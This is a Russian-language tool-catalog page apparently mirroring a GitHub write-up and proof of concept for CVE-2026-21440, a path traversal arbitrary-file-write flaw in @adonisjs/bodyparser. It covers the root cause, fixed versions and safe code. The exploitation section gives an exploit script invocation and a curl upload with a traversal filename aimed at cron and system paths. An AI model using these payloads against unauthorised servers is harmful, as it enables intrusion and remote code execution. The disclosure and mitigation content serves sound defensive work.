Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/k0nnect/cve-2026-21440-writeup-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСтатьи и ИсследованияОбучение и ОбразованиеПодобранные РесурсыЛаборатории и Практика
GitHubk0nnect/cve-2026-21440-writeup-poc

cve-2026-21440-writeup-poc

poc и writeup для cve-2026-21440: критическая уязвимость обхода пути в @adonisjs/bodyparser, позволяющая произвольную запись файлов

Репозиторий
378 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

cve-2026-21440

path traversal к произвольной записи файлов в @adonisjs/bodyparser

CVE-2026-21440 CWE-22 CVSS 9.2


обзор

критическая уязвимость path traversal существует в пакете @adonisjs/bodyparser, которая позволяет удалённым атакующим записывать произвольные файлы за пределами предполагаемой директории загрузки. когда функция multipartfile.move() вызывается без явного указания санитизированного имени файла, парсер по умолчанию использует имя файла, предоставленное клиентом, без надлежащей санитизации.

поскольку реализация использует path.join(), а options.overwrite по умолчанию равен true, атакующий может создать вредоносное имя файла, содержащее последовательности обхода директорий (например, ), чтобы записывать файлы в любом месте файловой системы, что потенциально может привести к удалённому выполнению кода.

../../etc/cron.d/malicious

анализ уязвимости

атрибутзначение
идентификатор cvecve-2026-21440
классификация cwecwe-22: неправильное ограничение пути к ограниченной директории ('path traversal')
оценка cvss v3.19.2 (критическая)
вектор атакисеть
сложность атакинизкая
требуемые привилегииотсутствуют
взаимодействие с пользователемотсутствует

первопричина

уязвимость существует в методе multipartfile.move(location, options?). когда разработчики вызывают этот метод без указания options.name, код по умолчанию использует this.clientName — исходное имя файла, отправленное клиентом, — без санитизации.

root@kitploit:~
// уязвимый путь кода в @adonisjs/bodyparser
async move(location: string, options?: { name?: string; overwrite?: boolean }): Promise<void> {
  const fileName = options?.name || this.clientName  // ← несанитизированный ввод клиента
  const filePath = path.join(location, fileName)     // ← path.join допускает обход
  // ...
  await fs.move(this.tmpPath, filePath, { overwrite: options?.overwrite ?? true })
}

схема атаки

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                         атакующий                                │
└─────────────────────────────────────────────────────────────────┘
                              │
                              │ multipart/form-data
                              │ filename="../../etc/cron.d/pwned"
                              ▼
┌─────────────────────────────────────────────────────────────────┐
│                    уязвимое приложение adonisjs                  │
│                                                                  │
│   request.file('upload')                                        │
│        │                                                         │
│        ▼                                                         │
│   file.move(app.tmpPath())  ← не указано санитизированное имя   │
│        │                                                         │
│        ▼                                                         │
│   path.join('/tmp/uploads', '../../etc/cron.d/pwned')           │
│        │                                                         │
│        ▼                                                         │
│   разрешается в: /etc/cron.d/pwned                              │
│        │                                                         │
│        ▼                                                         │
│   файл записан за пределами директории загрузки                  │
└─────────────────────────────────────────────────────────────────┘
                              │
                              ▼
                    произвольная запись файла
                         → rce через cron
                         → перезапись конфигурации
                         → внедрение ssh-ключей

затронутые версии

пакетуязвимые версииисправленная версия
@adonisjs/bodyparser≤ 10.1.110.1.2
@adonisjs/bodyparser11.0.0-next.1 до 11.0.0-next.511.0.0-next.6

эксплуатация

предварительные условия

  • целевое приложение использует уязвимую версию @adonisjs/bodyparser
  • конечная точка загрузки файлов вызывает file.move() без явного параметра name
  • веб-сервер имеет права на запись в целевую директорию

доказательство концепции

root@kitploit:~
# перейти в директорию эксплойта
cd Exploit-PoC

# установить зависимости
pip install -r requirements.txt

# запустить эксплойт
python exploit.py --url http://target:3333/upload --path "../../../tmp/pwned.txt" --content "pwned"

ручная эксплуатация

root@kitploit:~
curl -X POST http://target:3333/upload \
  -F "[email protected];filename=../../tmp/pwned.txt"

обнаружение и смягчение

уязвимый шаблон кода

root@kitploit:~
// ❌ уязвимо - использует имя файла, предоставленное клиентом
public async upload({ request, response }: HttpContext) {
  const file = request.file('upload')
  if (file) {
    await file.move(app.tmpPath())  // clientName используется как имя файла
  }
  return response.ok({ message: 'uploaded' })
}

безопасный шаблон кода

root@kitploit:~
// ✅ безопасно - генерирует санитизированное имя файла
import { cuid } from '@adonisjs/core/helpers'
import path from 'node:path'

public async upload({ request, response }: HttpContext) {
  const file = request.file('upload')
  if (file) {
    // сгенерировать уникальное имя файла с исходным расширением
    const ext = path.extname(file.clientName).toLowerCase()
    const safeName = `${cuid()}${ext}`
    
    await file.move(app.tmpPath(), {
      name: safeName,
      overwrite: false  // предотвратить перезапись
    })
  }
  return response.ok({ message: 'uploaded' })
}

дополнительные меры смягчения

  1. немедленно обновиться — обновить @adonisjs/bodyparser до исправленной версии
  2. проверка ввода — проверять расширения файлов по белому списку
  3. санитизация имён файлов — удалять разделители путей и использовать сгенерированные имена
  4. изоляция файловой системы — использовать контейнеризацию для ограничения радиуса поражения
  5. принцип минимальных привилегий — запускать веб-сервер с минимальными правами

лабораторная среда

быстрый старт

root@kitploit:~
# клонировать репозиторий
git clone https://github.com/k0nnect/cve-2026-21440.git
cd cve-2026-21440

# запустить уязвимую среду
docker-compose up --build

# в другом терминале запустить эксплойт
cd Exploit-PoC
python exploit.py --url http://localhost:3333/upload --path "../test.txt"

# проверить, что файл записан за пределами директории загрузок
docker-compose exec app cat /app/test.txt

хронология

датасобытие
2026-01-02выпущен патч в версиях 10.1.2 и 11.0.0-next.6
2026-01-02опубликован ghsa-gvq6-hvvp-h34h
2026-01-02присвоен cve-2026-21440
2026-01-02опубликовано nvd

ссылки

  • nvd - cve-2026-21440
  • cwe-22: path traversal
  • документация adonisjs bodyparser
  • owasp path traversal

отказ от ответственности

этот репозиторий предоставлен только для образовательных целей и авторизованных исследований в области безопасности. код доказательства концепции предназначен для того, чтобы помочь специалистам по безопасности понять и протестировать эту уязвимость в средах, которые им разрешено оценивать.

несанкционированный доступ к компьютерным системам является незаконным. авторы не несут ответственности за неправомерное использование этой информации. всегда получайте надлежащее разрешение перед тестированием на уязвимости.


исследовано с ☕ by k0nnect

Скачать инструмент